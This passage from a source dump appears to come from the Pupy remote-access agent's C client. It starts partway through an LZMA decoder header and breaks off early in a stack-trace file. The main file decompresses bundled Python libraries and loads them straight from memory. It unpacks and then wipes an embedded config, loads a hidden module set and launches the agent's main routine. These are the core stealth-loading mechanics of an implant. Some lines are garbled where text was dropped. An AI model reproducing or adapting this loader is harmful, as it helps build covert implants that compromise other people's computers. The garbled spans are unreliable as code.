SZ_ERROR_UNSUPPORTED - Unsupported properties */ SRes LzmaProps_Decode(CLzmaProps *p, const Byte *data, unsigned size); /* ---------- LZMA Decoder state ---------- */ /* LZMA_REQUIRED_INPUT_MAX = number of required input bytes for worst case. Num bits = log2((2^11 / 31) ^ 22) + 26 < 134 + 26 = 160; */ #define LZMA_REQUIRED_INPUT_MAX 20 typedef struct { CLzmaProps prop; CLzmaProb *probs; Byte *dic; const Byte *buf; UInt32 range, code; SizeT dicPos; SizeT dicBufSize; UInt32 processedPos; UInt32 checkDicSize; unsigned state; UInt32 reps[4]; unsigned remainLen; int needFlush; int needInitState; UInt32 numProbs; unsigned tempBufSize; Byte tempBuf[LZMA_REQUIRED_INPUT_MAX]; } CLzmaDec; #define LzmaDec_Construct(p) { (p)->dic = 0; (p)->probs = 0; } void LzmaDec_Init(CLzmaDec *p); /* There are two types of LZMA streams: 0) Stream with end mark. That end mark adds about 6 bytes to compressed size. 1) Stream without end mark. You must know exact uncompressed size to decompress such stream. */ typedef enum { LZMA_FINISH_ANY, /* finish at any point */ LZMA_FINISH_END /* block must be finished at the end */ } ELzmaFinishMode; /* ELzmaFinishMode has meaning only if the decoding reaches output limit !!! You must use LZMA_FINISH_END, when you know that current output buffer covers last bytes of block. In other cases you must use LZMA_FINISH_ANY. If LZMA decoder sees end marker before reaching output limit, it returns SZ_OK, and output value of destLen will be less than output buffer size limit. You can check status result also. You can use multiple checks to test data integrity after full decompression: 1) Check Result and "status" variable. 2) Check that output(destLen) = uncompressedSize, if you know real uncompressedSize. 3) Check that output(srcLen) = compressedSize, if you know real compressedSize. You must use correct finish mode in that case. */ typedef enum { LZMA_STATUS_NOT_SPECIFIED, /* use main error code instead */ LZMA_STATUS_FINISHED_WITH_MARK, /* stream was finished with end mark. */ LZMA_STATUS_NOT_FINISHED, /* stream was not finished */ LZMA_STATUS_NEEDS_MORE_INPUT, /* you must provide more input bytes */ LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK /* there is probability that stream was finished without end mark */ } ELzmaStatus; /* ELzmaStatus is used only as output value for function call */ /* ---------- Interfaces ---------- */ /* There are 3 levels of interfaces: 1) Dictionary Interface 2) Buffer Interface 3) One Call Interface You can select any of these interfaces, but don't mix functions from different groups for same object. */ /* There are two variants to allocate state for Dictionary Interface: 1) LzmaDec_Allocate / LzmaDec_Free 2) LzmaDec_AllocateProbs / LzmaDec_FreeProbs You can use variant 2, if you set dictionary buffer manually. For Buffer Interface you must always use variant 1. LzmaDec_Allocate* can return: SZ_OK SZ_ERROR_MEM - Memory allocation error SZ_ERROR_UNSUPPORTED - Unsupported properties */ SRes LzmaDec_AllocateProbs(CLzmaDec *p, const Byte *props, unsigned propsSize, ISzAlloc *alloc); void LzmaDec_FreeProbs(CLzmaDec *p, ISzAlloc *alloc); SRes LzmaDec_Allocate(CLzmaDec *state, const Byte *prop, unsigned propsSize, ISzAlloc *alloc); void LzmaDec_Free(CLzmaDec *state, ISzAlloc *alloc); /* ---------- Dictionary Interface ---------- */ /* You can use it, if you want to eliminate the overhead for data copying from dictionary to some other external buffer. You must work with CLzmaDec variables directly in this interface. STEPS: LzmaDec_Constr() LzmaDec_Allocate() for (each new stream) { LzmaDec_Init() while (it needs more decompression) { LzmaDec_DecodeToDic() use data from CLzmaDec::dic and update CLzmaDec::dicPos } } LzmaDec_Free() */ /* LzmaDec_DecodeToDic The decoding to internal dictionary buffer (CLzmaDec::dic). You must manually update CLzmaDec::dicPos, if it reaches CLzmaDec::dicBufSize !!! finishMode: It has meaning only if the decoding reaches output limit (dicLimit). LZMA_FINISH_ANY - Decode just dicLimit bytes. LZMA_FINISH_END - Stream must be finished after dicLimit. Returns: SZ_OK status: LZMA_STATUS_FINISHED_WITH_MARK LZMA_STATUS_NOT_FINISHED LZMA_STATUS_NEEDS_MORE_INPUT LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK SZ_ERROR_DATA - Data error */ SRes LzmaDec_DecodeToDic(CLzmaDec *p, SizeT dicLimit, const Byte *src, SizeT *srcLen, ELzmaFinishMode finishMode, ELzmaStatus *status); /* ---------- Buffer Interface ---------- */ /* It's zlib-like interface. See LzmaDec_DecodeToDic description for information about STEPS and return results, but you must use LzmaDec_DecodeToBuf instead of LzmaDec_DecodeToDic and you don't need to work with CLzmaDec variables manually. finishMode: It has meaning only if the decoding reaches output limit (*destLen). LZMA_FINISH_ANY - Decode just destLen bytes. LZMA_FINISH_END - Stream must be finished after (*destLen). */ SRes LzmaDec_DecodeToBuf(CLzmaDec *p, Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen, ELzmaFinishMode finishMode, ELzmaStatus *status); /* ---------- One Call Interface ---------- */ /* LzmaDecode finishMode: It has meaning only if the decoding reaches output limit (*destLen). LZMA_FINISH_ANY - Decode just destLen bytes. LZMA_FINISH_END - Stream must be finished after (*destLen). Returns: SZ_OK status: LZMA_STATUS_FINISHED_WITH_MARK LZMA_STATUS_NOT_FINISHED LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK SZ_ERROR_DATA - Data error SZ_ERROR_MEM - Memory allocation error SZ_ERROR_UNSUPPORTED - Unsupported properties SZ_ERROR_INPUT_EOF - It needs more bytes in input buffer (src). */ SRes LzmaDecode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen, const Byte *propData, unsigned propSize, ELzmaFinishMode finishMode, ELzmaStatus *status, ISzAlloc *alloc); EXTERN_C_END #endif ================================================ FILE: client/common/Python-dynload.c ================================================ /* **************** Python-dynload.c **************** */ #include "Python-dynload.h" #include "Python-dynload-os.h" typedef struct dependency { const char* name; const char *bytes; size_t size; BOOL is_python; } dependency_t; struct py_imports py_sym_table[] = { #include "import-tab.c" { NULL, NULL }, /* sentinel */ }; static char __config__[500000] = "####---PUPY_CONFIG_COMES_HERE---####\n"; static PyGILState_STATE restore_state; static BOOL is_initialized = FALSE; static const PyObject *py_stdlib_G = NULL; /* Likely-to-be-used modules */ static const char *preload_modules[] = { "types", //"linecache", "codecs", "_weakrefset", "_py_abc", "abc", "__future__", "warnings", "importlib._bootstrap", "sre_constants", "sre_parse", "sre_compile", "struct", ENCODINGS ".aliases", NULL }; #include "lzmaunpack.c" #include "library.c" static PyObject* py_module_from_stdlib(PyObject *py_stdlib, const char *name, int is_init); static HMODULE xz_dynload(const char *libname, const char *xzbuf, size_t xzsize, void *arg) { HMODULE hModule; void *uncompressed = NULL; Py_ssize_t uncompressed_size = 0; dprint("Uncompressing %s from %p (size=%d\n)\n", libname, xzbuf, xzsize); uncompressed = lzmaunpack(xzbuf, xzsize, &uncompressed_size); if (!uncompressed) { dprint("%s decompression failed\n", libname); return NULL; } dprint("%s decompressed to %p (size=%d)\n", libname, uncompressed, uncompressed_size); hModule = MemLoadLibrary( libname, (char *) uncompressed, uncompressed_size, arg ); #if FREE_HMODULE_AFTER_LOAD lzmafree(uncompressed, uncompressed_size); #endif if (!hModule) { dprint("loading %s from memory failed\n", libname); return NULL; } return hModule; } PyObject* load_stdlib() { if(py_stdlib_G == NULL) { PyObject *py_stdlib; dprint("Stdlib size: %d\n", library_c_size); py_stdlib = PyDict_lzmaunpack(library_c_start, library_c_size); if (!py_stdlib) { dprint("load_stdlib: PyDict_lzmaunpack() -> Error unpacking py_stdlib\n"); return NULL; } Py_IncRef(py_stdlib); dprint("Stdlib unpacked: %p\n", py_stdlib); py_stdlib_G = py_stdlib; dprint("Unmap stdlib..\n"); OSUnmapRegion(library_c_start, library_c_size); dprint("Unmap stdlib.. done\n"); return py_stdlib; } else { dprint("stdlib already loaded\n"); return py_stdlib_G; } } static size_t last_chr_offt(const char *cstr, char chr) { int found_any = 0; size_t last_found = 0; size_t offt; for (offt=0; cstr && cstr[offt]; offt++) { if (cstr[offt] == chr) { found_any = 1; last_found = offt; } } if (found_any) return last_found; else return offt; } BOOL initialize_python(int argc, char *argv[], BOOL is_shared_object) { HMODULE hPython = NULL; PyObject *py_argv = NULL; PyObject *py_empty_list = NULL; dependency_t dependencies[] = DEPENDENCIES; resolve_symbol_t resolver = NULL; dependency_t *dependency = NULL; struct py_imports *py_sym = NULL; int i; if (is_initialized) { return TRUE; } #ifdef DEBUG_USE_OS_PYTHON hPython = OSLoadLibrary("python310.dll"); resolver = OSResolveSymbol; #else for (dependency=dependencies; !hPython; dependency ++) { HMODULE hModule = CheckLibraryLoaded(dependency->name); if (hModule) { if (dependency->is_python) { hPython = hModule; resolver = OSResolveSymbol; } continue; } dprint("Loading %s\n", dependency->name); hModule = xz_dynload( dependency->name, dependency->bytes, dependency->size, NULL ); dprint("Loaded %s -> %p\n", dependency->name, hModule); OSUnmapRegion(dependency->bytes, dependency->size); if (!hModule) { dprint("%s: load failed\n", dependency->name); return FALSE; } if (dependency->is_python) { hPython = hModule; resolver = MemResolveSymbol; } } #endif dprint("Loading python from %p\n", hPython); for (py_sym = py_sym_table; py_sym->name; py_sym ++) { py_sym->proc = (void (*)()) resolver(hPython, py_sym->name); if (py_sym->proc == NULL) { dprint("undefined symbol %s\n", py_sym->name); return FALSE; } } dprint("Initializing Path & Flags ...\n"); if(!Py_IsInitialized()) { dprint("Py not initialized yet\n"); dprint("Setting python flags ...\n"); char * pgm = OSGetProgramName(); wchar_t wtext[PATH_MAX]; mbstowcs(wtext, pgm, strlen(pgm)+1);//Plus null //wchar_t * path= ""; Py_SetProgramName(wtext); //wchar_t libfilename[PATH_MAX]; //GetModuleFileNameW(NULL, libfilename, sizeof(libfilename)); //dprint("libfilename: %S\n",libfilename); wchar_t *wchar_paths = Py_DecodeLocale(".", NULL); Py_SetPath(wchar_paths); /* wchar_t * ppath = Py_GetPath(); if (ppath) memset(ppath, '\0', strlen(ppath)); */ PyStatus status; PyPreConfig preconfig; dprint("init python preconfig\n"); /* typedef void (CALLBACK* PyPreConfig_InitPythonConfigT)(PyPreConfig *); PyPreConfig_InitPythonConfigT PyPreConfig_InitPythonConfig; (PyPreConfig_InitPythonConfigT)PyPreConfig_InitPythonConfig = MyGetProcAddress(hPython, "PyPreConfig_InitPythonConfig"); */ PyPreConfig_InitPythonConfig(&preconfig); //preconfig.legacy_windows_fs_encoding = 0; //preconfig.isolated = 0; preconfig.use_environment = 0; //preconfig.utf8_mode = 1; dprint("call preinitialize\n"); Py_PreInitialize(&preconfig); PyConfig config; //typedef void (CALLBACK* PyConfig_InitPythonConfigT)(PyConfig *); //(PyConfig_InitPythonConfigT)PyConfig_InitPythonConfig = MyGetProcAddress(hPython, "PyConfig_InitPythonConfig"); dprint("init python config\n"); PyConfig_InitPythonConfig(&config); config._init_main = 0; config.isolated = 0; config.site_import = 0; config.user_site_directory = 0; config.write_bytecode = 0; dprint("Py_InitializeFromConfig\n"); status = Py_InitializeFromConfig(&config); /* Py_IsolatedFlag = 1; Py_OptimizeFlag = 2; Py_UnbufferedStdioFlag = 1; Py_FileSystemDefaultEncoding = FILE_SYSTEM_ENCODING; Py_NoSiteFlag = 1; Py_DontWriteBytecodeFlag = 1; Py_NoUserSiteDirectory = 1; Py_IgnoreEnvironmentFlag = 1; */ //int * Py_IsolatedFlagPTR = (int *)MyGetProcAddress(hPython, "Py_IsolatedFlag"); //*Py_IsolatedFlagPTR = 1; //PyConfig_Clear(&config); //Py_Initialize(); //Py_InitializeEx(is_shared_object? 0 : 1); dprint("done\n"); dprint("calling PyEval_InitThreads\n"); PyEval_InitThreads(); } dprint("calling PyGILState_Ensure\n"); restore_state = PyGILState_Ensure(); py_empty_list = PyList_New(0); if (!py_empty_list) { dprint("Couldn't allocate list for sys.path\n"); goto lbExit1; } PySys_SetObject("path", py_empty_list); dprint("SET ARGV (ARGC=%d; SHARED? %d)\n", argc, is_shared_object); if (is_shared_object) { if (argc > 2 && !strcmp(argv[1], "--pass-args")) { argv[1] = argv[0]; argc -= 1; argv += 1; } else { argc = 1; } } py_argv = PyList_New(0); if (!py_argv) { dprint("Couldn't allocate list for argv\n"); goto lbExit1; } Py_IncRef(py_argv); for (i = 0; i builtins %p (refcnt=%d)\n", name, builtins, Py_RefCnt(builtins) ); dprint( "py_eval_package_init(%s) -> %p (refcnt=%d) __dict__ %p (refcnt=%d) co_code %p (refcnt=%d)\n", name, new_module, Py_RefCnt(new_module), new_module_dict, Py_RefCnt(new_module_dict), co_code, Py_RefCnt(co_code) ); return new_module; } /* BOOL load_c_extension_from_stdlib(PyObject *py_stdlib, const char *name) { PyObject *pybody = NULL; char *pybody_c_ptr = NULL; Py_ssize_t pybody_c_size = 0; char * vpath_name; char * func_name; size_t vpath_len; BOOL result = TRUE; vpath_len = strlen(name) + 5; vpath_name = (char *) OSAlloc(vpath_len); if (!vpath_name) goto lbMemFailure1; func_name = (char *) OSAlloc(vpath_len+10); if (!vpath_name) goto lbMemFailure1; memset(vpath_name, '\0', vpath_len); strcat(vpath_name, name); #ifdef _WIN32 strcat(vpath_name, ".pyd"); #else strcat(vpath_name, ".so"); #endif memset(func_name, '\0', vpath_len+10); strcat(func_name, "PyInit_"); strcat(func_name, name); dprint("loading C extension from stdlib: %s\n", vpath_name); pybody = PyDict_GetItemString(py_stdlib, vpath_name); if (!pybody) { dprint( "load_c_extension_from_stdlib(%s) -> %s not found in stdlib\n", name, vpath_name ); PyErr_SetString(PyExc_ImportError, name); result = FALSE; goto lbFreeVpath; } HMODULE hModule = CheckLibraryLoaded(vpath_name); if (hModule) { dprint("library %s already loaded\n", vpath_name); return FALSE; } if (PyBytes_AsStringAndSize(pybody, &pybody_c_ptr, &pybody_c_size) == -1) { dprint( "load_c_extension_from_stdlib(%s) -> %s -> Invalid type?\n", name, vpath_name ); result = FALSE; goto lbFreeVpath; } #ifdef _WIN32 if(!(pybody_c_ptr[0]=='M' && pybody_c_ptr[1]=='Z')) { dprint("extension %s is not a PE ??\n", vpath_name); goto lbFreeVpath; } #endif ULONG_PTR cookie = 0; cookie = _My_ActivateActCtx(); hModule = MemLoadLibrary( vpath_name, pybody_c_ptr, pybody_c_size, NULL ); _My_DeactivateActCtx(cookie); if (!hModule) { dprint("MemLoadLibrary( %s ) failed\n", vpath_name); result = FALSE; goto lbFreeVpath; } char * oldcontext = _Py_PackageContext; _Py_PackageContext = name; typedef FARPROC (*PyInitT)(void); PyInitT PyInitF; PyInitF = (PyInitT)MemResolveSymbol(hModule, func_name); PyInitF(); _Py_PackageContext = oldcontext; if (PyErr_Occurred()) result=FALSE; //PyImport_AppendInittab(name, func_name); lbFreeVpath: OSFree(vpath_name); OSFree(func_name); return result; lbMemFailure1: return PyErr_NoMemory(); } */ static PyObject* py_module_from_stdlib(PyObject *py_stdlib, const char *name, int is_init) { PyObject *module = NULL; PyObject *pybody = NULL; PyObject *pybytecode = NULL; char *pybody_c_ptr = NULL; Py_ssize_t pybody_c_size = 0; char *vpath_name = NULL; char *path_name = NULL; char *ptr = NULL; int is_path = 1; // pupy:// name /__init__.pyo // OR // pupy:// name .pyo size_t vpath_len = strlen(name) + sizeof(VPATH_PREFIX) - 1 + (is_init? sizeof(VPATH_INIT_EXT) : sizeof(VPATH_EXT)) - 1 + 1 ; vpath_name = (char *) OSAlloc(vpath_len); if (!vpath_name) goto lbMemFailure1; memset(vpath_name, '\0', vpath_len); strcpy(vpath_name, VPATH_PREFIX); strcat(vpath_name, name); for (ptr=vpath_name; *ptr; ptr++) if (*ptr == '.') *ptr = '/'; if (is_init) strcat(vpath_name, VPATH_INIT_EXT); else strcat(vpath_name, VPATH_EXT); // same string without pupy:// path_name = vpath_name + sizeof(VPATH_PREFIX) - 1; pybody = PyDict_GetItemString(py_stdlib, path_name); if (!pybody) { dprint( "py_module_from_library(%s, %d) -> %s (%s) not found in stdlib\n", name, is_init, path_name, vpath_name ); PyErr_SetString(PyExc_ImportError, name); goto lbFreeVpath; } dprint( "py_module_from_library(%s, %d) -> %s found -> %p\n", name, is_init, path_name, pybody ); if (PyBytes_AsStringAndSize(pybody, &pybody_c_ptr, &pybody_c_size) == -1) { dprint( "py_module_from_library(%s, %d) -> %s -> Invalid type?\n", name, is_init, path_name ); goto lbFreeVpath; } dprint( "py_module_from_library(%s, %d) -> %s (%p) -> bytecode=%p size=%d\n", name, is_init, path_name, pybody, pybody_c_ptr, pybody_c_size ); pybytecode = PyMarshal_ReadObjectFromString( pybody_c_ptr + 8, pybody_c_size - 8 ); if (!pybytecode) { dprint( "py_module_from_library(%s, %d) -> %s -> Invalid type (marshall error)?\n", name, is_init, path_name ); goto lbFreeVpath; } dprint( "py_module_from_library(%s, %d) -> %s (%p) -> bytecode=%p size=%d -> Unmarshalled -> %p\n", name, is_init, path_name, pybody, pybody_c_ptr, pybody_c_size, pybytecode ); // It's worth to continue module = py_eval_package_init(name, pybytecode, vpath_name, path_name, is_init); if (!module) { dprint("py_module_from_library(%s, %d) -> Eval failed\n", name, is_init); PyErr_Print(); goto lbFreePyBytecode; } dprint("py_module_from_library(%s, %d) -> %p\n", name, is_init, module); //TODO: fix that //PyDict_DelItemString(py_stdlib, path_name); lbFreePyBytecode: Py_DecRef(pybytecode); lbFreeVpath: OSFree(vpath_name); return module; lbMemFailure1: return PyErr_NoMemory(); } void py_clear_sys_list(const char *name) { PyObject *list_obj; Py_ssize_t list_len; list_obj = PySys_GetObject(name); if (!list_obj) { dprint("sys.%s not found\n", name); PyErr_Clear(); return; } list_len = PyList_Size(list_obj); if (list_len < 0) { dprint("sys.%s is not list\n", name); PyErr_Clear(); return; } if (PyList_SetSlice(list_obj, 0, list_len, NULL) < 0) { dprint("sys.%s - failed to clear\n", name); PyErr_Clear(); return; } dprint("sys.%s - cleared\n", name); } void py_clear_sys_dict(const char *name) { PyObject *dict_obj; dict_obj = PySys_GetObject(name); if (!dict_obj) { dprint("sys.%s not found\n", name); PyErr_Clear(); return; } PyDict_Clear(dict_obj); if (PyErr_Occurred()) { dprint("sys.%s - failed to clear\n", name); PyErr_Clear(); return; } dprint("sys.%s - cleared\n", name); } void run_pupy() { union { unsigned int l; unsigned char c[4]; } len; PyObject *pupy; PyObject *py_config_list; PyObject *py_pupylib; PyObject *pupy_dict; PyObject *py_debug; PyObject *py_main; PyObject *py_eval_result; PyObject *py_config = NULL; PyObject *py_stdlib = load_stdlib(); const char **preload_module = NULL; PyObject *py_stdlib_keys; PyObject *py_stdlib_keys_iter; PyObject *py_stdlib_keys_item; PyStatus status; PySys_SetObject("frozen", PyBool_FromLong(1)); dprint("Load config\n"); dprint("config:"); int i; for (i=0; i<5; i++) { dprint("%x", __config__[i]); } len.c[3] = __config__[0]; len.c[2] = __config__[1]; len.c[1] = __config__[2]; len.c[0] = __config__[3]; dprint("\n"); if (len.l == 0x23232323) { dprint("Config not found\n"); goto lbExit1; } dprint("Config size: %d\n", len.l); py_config_list = PyObject_lzmaunpack(__config__+4, len.l); if (!py_config_list) { dprint("Config unpack failed\n"); PyErr_Print(); goto lbExit1; } dprint("Config parcel unpacked: %p\n", py_config_list); dprint("Cleanup config\n"); memset(__config__, 0xFF, len.l + 4); dprint("Unmap config"); OSUnmapRegion(__config__, len.l); py_config = PyList_GetItem(py_config_list, 0); dprint("Get config: %p\n", py_config); py_pupylib = PyList_GetItem(py_config_list, 1); dprint("Get pupy: %p\n", py_pupylib); dprint("Update stdlib\n"); PyDict_Update(py_stdlib, py_pupylib); Py_IncRef(py_config); for (preload_module=preload_modules; *preload_module; preload_module ++) { if (!py_module_from_stdlib(py_stdlib, *preload_module, 0)) goto lbExit4; } // the order of loading matters here // if (!py_module_from_stdlib(py_stdlib, "keyword", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "operator", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "reprlib", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "_collections_abc", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "collections.abc", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "collections", 1)){ goto lbExit4; } if (!py_module_from_stdlib(py_stdlib, "functools", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "contextlib", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, ENCODINGS, 1)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "datetime", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "io", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "umsgpack", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "copyreg", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "enum", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "re", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "_compat_pickle", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "pickle", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "quopri", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "importlib", 1)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "importlib._abc", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "importlib.util", 0)) goto lbExit4; //if (!py_module_from_stdlib(py_stdlib, "pupy.utils", 0)) // goto lbExit4; //if (!py_module_from_stdlib(py_stdlib, "stringprep", 0)) // goto lbExit4; // if (!py_module_from_stdlib(py_stdlib, "io", 0)) // goto lbExit4; /* if (!py_module_from_stdlib(py_stdlib, "re", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "base64", 0)) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "bz2", 0)) goto lbExit4; */ dprint("Preload encodings\n"); py_stdlib_keys = PyDict_Keys(py_stdlib); if (!py_stdlib_keys) goto lbExit1; py_stdlib_keys_iter = PyObject_GetIter(py_stdlib_keys); if (!py_stdlib_keys_iter) { Py_DecRef(py_stdlib_keys); goto lbExit1; } while ((py_stdlib_keys_item = PyIter_Next(py_stdlib_keys_iter))) { char *filepath; Py_ssize_t filepath_len; filepath = PyUnicode_AsUTF8AndSize(py_stdlib_keys_item, &filepath_len); if (!filepath) { PyErr_Clear(); } else if (strstr(filepath, ENCODINGS "/") == filepath && strstr(filepath, ENCODINGS "/" VPATH_INIT_EXT) != filepath) { char *child = strdup(filepath); child[last_chr_offt(child, '.')] = '\0'; child[sizeof(ENCODINGS) - 1] = '.'; if (!py_module_from_stdlib(py_stdlib, child, 0)) { dprint("Load encoding: %s (%s): failed\n", child, filepath); PyErr_Clear(); } else { dprint("Loaded encoding: %s\n", child); } free(child); } Py_DecRef(py_stdlib_keys_item); } Py_DecRef(py_stdlib_keys_iter); dprint("Calling _Py_InitializeMain() ...\n"); status = _Py_InitializeMain(); /* if (PyStatus_Exception(status)) { dprint("Error calling _Py_InitializeMain\n"); Py_ExitStatusException(status); } */ dprint("Clean sys defaults\n"); py_clear_sys_list("path"); //py_clear_sys_list("meta_path"); //py_clear_sys_list("path_hooks"); //mandatory !! py_clear_sys_dict("path_importer_cache"); /* res = PyRun_SimpleString( "import _pupy;" "print(_pupy, " "file=sys.stderr)"); if (res < 0) { exit(1); } */ dprint("Loading pupy\n"); if (!py_module_from_stdlib(py_stdlib, "pupy", 1)) goto lbExit4; //if (!py_module_from_stdlib(py_stdlib, "pupy.agent.winerror_hacks", 0)) // goto lbExit4; pupy = py_module_from_stdlib(py_stdlib, "pupy.agent", 1); if (!pupy) goto lbExit4; if (!py_module_from_stdlib(py_stdlib, "pupy.agent.utils", 0)) goto lbExit4; pupy_dict = PyModule_GetDict(pupy); py_main = PyDict_GetItemString(pupy_dict, "main"); if (!py_main) { dprint("pupy.agent.main not found\n"); goto lbExit3; } #ifdef DEBUG py_debug = PyBool_FromLong(1); #else py_debug = PyBool_FromLong(0); #endif dprint( "Call pupy.agent.main: %p(%p, %p, %p)\n", py_main, Py_None, py_debug, py_config ); Py_IncRef(py_main); Py_IncRef(Py_None); Py_IncRef(py_debug); py_eval_result = PyObject_CallFunctionObjArgs( py_main, Py_None, py_debug, py_config, py_stdlib, NULL); if (!py_eval_result) { PyErr_Print(); } else { Py_DecRef(py_eval_result); } Py_DecRef(py_main); Py_DecRef(Py_None); Py_DecRef(py_debug); dprint("Completed (py_eval_result: %p)\n", py_eval_result); lbExit4: Py_DecRef(py_config); lbExit3: Py_DecRef(py_config_list); lbExit2: //Py_DecRef(py_stdlib); lbExit1: dprint("Exit\n"); } void deinitialize_python() { dprint("Deinitialize python\n"); PyGILState_Release(restore_state); Py_Finalize(); } int Py_RefCnt(const PyObject *object) { if (!object) return -1; return *((int *) object); } ================================================ FILE: client/common/Python-dynload.h ================================================ /* WARNING ! DEPENDS ON PYTHON ABI! */ #ifndef PYTHON_DYNLOAD_H #define PYTHON_DYNLOAD_H #include #include #include #define CO_MAXBLOCKS 20 typedef void *PyObject; typedef struct { int b_type; int b_handler; int b_level; } PyTryBlock; typedef PyObject *(*PyCFunction)(PyObject *, PyObject *); typedef enum {PyGILState_LOCKED, PyGILState_UNLOCKED} PyGILState_STATE; typedef struct { char *ml_name; PyCFunction ml_meth; int ml_flags; char *ml_doc; } PyMethodDef; struct py_imports { char *name; void (*proc)(); }; #ifdef _WIN64 #define ssize_t signed long long #else #define ssize_t signed long #endif #ifndef Py_ssize_t #define Py_ssize_t ssize_t #endif #ifndef BOOL typedef int BOOL; #define TRUE 1 #define FALSE 0 #endif #ifndef Py_INCREF #define Py_INCREF Py_IncRef #endif #ifndef Py_DECREF #define Py_DECREF Py_DecRef #endif #ifndef Py_XINCREF #define Py_XINCREF(op) do { if ((op) == NULL) ; else Py_INCREF(op); } while (0) #endif #ifndef Py_XDECREF #define Py_XDECREF(op) do { if ((op) == NULL) ; else Py_DECREF(op); } while (0) #endif #define METH_OLDARGS 0x0000 #define METH_VARARGS 0x0001 #define METH_KEYWORDS 0x0002 /* METH_NOARGS and METH_O must not be combined with the flags above. */ #define METH_NOARGS 0x0004 #define METH_O 0x0008 /* METH_CLASS and METH_STATIC are a little different; these control the construction of methods for a class. These cannot be used for functions in modules. */ #define METH_CLASS 0x0010 #define METH_STATIC 0x0020 #define PyCFunction_New(ML, SELF) PyCFunction_NewEx((ML), (SELF), NULL) #define PyInt_Check(op) PyObject_IsInstance(op, &PyInt_Type) #define PyUnicode_Check(op) PyObject_IsInstance(op, &PyUnicode_Type) #define PyString_Check(op) PyObject_IsInstance(op, &PyString_Type) #define Py_None (&_Py_NoneStruct) #define DL_EXPORT(x) x #define PYTHON_API_VERSION 1013 int Py_RefCnt(const PyObject *object); extern struct py_imports py_sym_table[]; BOOL initialize_python(int argc, char *argv[], BOOL is_shared_object); void run_pupy(void); void deinitialize_python(void); #define VPATH_PREFIX "pupy://" #define VPATH_EXT ".pyo" #define VPATH_INIT_EXT "/__init__" VPATH_EXT #define ENCODINGS "encodings" typedef struct { Py_ssize_t ob_refcnt; struct _typeobject *ob_type; int co_argcount; int co_nlocals; int co_stacksize; int co_flags; PyObject *co_code; PyObject *co_consts; PyObject *co_names; PyObject *co_varnames; PyObject *co_freevars; PyObject *co_cellvars; PyObject *co_filename; PyObject *co_name; int co_firstlineno; PyObject *co_lnotab; void *co_zombieframe; PyObject *co_weakreflist; } PyCodeObject; typedef struct _is { struct _is *next; struct _ts *tstate_head; PyObject *modules; PyObject *sysdict; PyObject *builtins; PyObject *modules_reloading; PyObject *codec_search_path; PyObject *codec_search_cache; PyObject *codec_error_registry; /* PRIVATE PART OMITTED */ } PyInterpreterState; struct _frame; typedef struct _ts { struct _ts *next; PyInterpreterState *interp; struct _frame *frame; int recursion_depth; int tracing; int use_tracing; void *c_profilefunc; void *c_tracefunc; PyObject *c_profileobj; PyObject *c_traceobj; PyObject *curexc_type; PyObject *curexc_value; PyObject *curexc_traceback; PyObject *exc_type; PyObject *exc_value; PyObject *exc_traceback; PyObject *dict; int tick_counter; int gilstate_counter; PyObject *async_exc; long thread_id; int trash_delete_nesting; PyObject *trash_delete_later; } PyThreadState; typedef struct _frame { Py_ssize_t ob_refcnt; struct _typeobject *ob_type; Py_ssize_t ob_size; struct _frame *f_back; PyCodeObject *f_code; PyObject *f_builtins; PyObject *f_globals; PyObject *f_locals; PyObject **f_valuestack; PyObject **f_stacktop; PyObject *f_trace; PyObject *f_exc_type, *f_exc_value, *f_exc_traceback; PyThreadState *f_tstate; int f_lasti; int f_lineno; int f_iblock; /* PRIVATE */ } PyFrameObject; #include "import-tab.h" #endif // PYTHON_DYNLOAD_H ================================================ FILE: client/common/Python-stacktrace.c ================================================ #include "debug.h" #include "Python-dynload-os.h" #include "Python-dynload.h" typedef void (*Py_GetStackTraceCb_t) (const char *line, void *cbdata); typedef int (*Py_IsInitialized_t)(void); typedef int (*PyEval_ThreadsInitialized_t)(void); typedef PyGILState_STATE (*PyGILState_Ensure_t)(void); typedef void (*PyGILState_Release_t)(PyGILState_STATE); typedef PyThreadState* (*PyGILState_GetThisThreadState_t)(void); typedef int (*PyCode_Addr2Line_t)(PyCodeObject *, int); static int Py_GetCurrentThreadStackTrace(Py_GetStackTraceCb_t cb, void *cbdata) { Py_IsInitialized_t pIsInitialized = NULL; PyEval_ThreadsInitialized_t pThreadsInitialized = NULL; PyGILState_Ensure_t pGILState_Ensure = NULL; PyGILState_Release_t pGILState_Release = NULL; PyGILState_GetThisThreadState_t pGILState_GetThisThreadState = NULL; PyCode_Addr2Line_t pCode_Addr2Line = NULL; PyGILState_STATE GIL_state; PyThreadState* Current_Thread_state; PyThreadState* Thread_state; BOOL blCurrentThreadDumped = FALSE; DWORD dwDumpedThreadsCount = 0; HMODULE hPythonLib = CheckLibraryLoaded(PYTHON_LIB_NAME); if (!hPythonLib) { dprint( "Py_GetCurrentThreadStackTrace: python lib (\"%s\") not found\n", PYTHON_LIB_NAME ); return -1; } pIsInitialized = (Py_IsInitialized_t) MemResolveSymbol( hPythonLib, 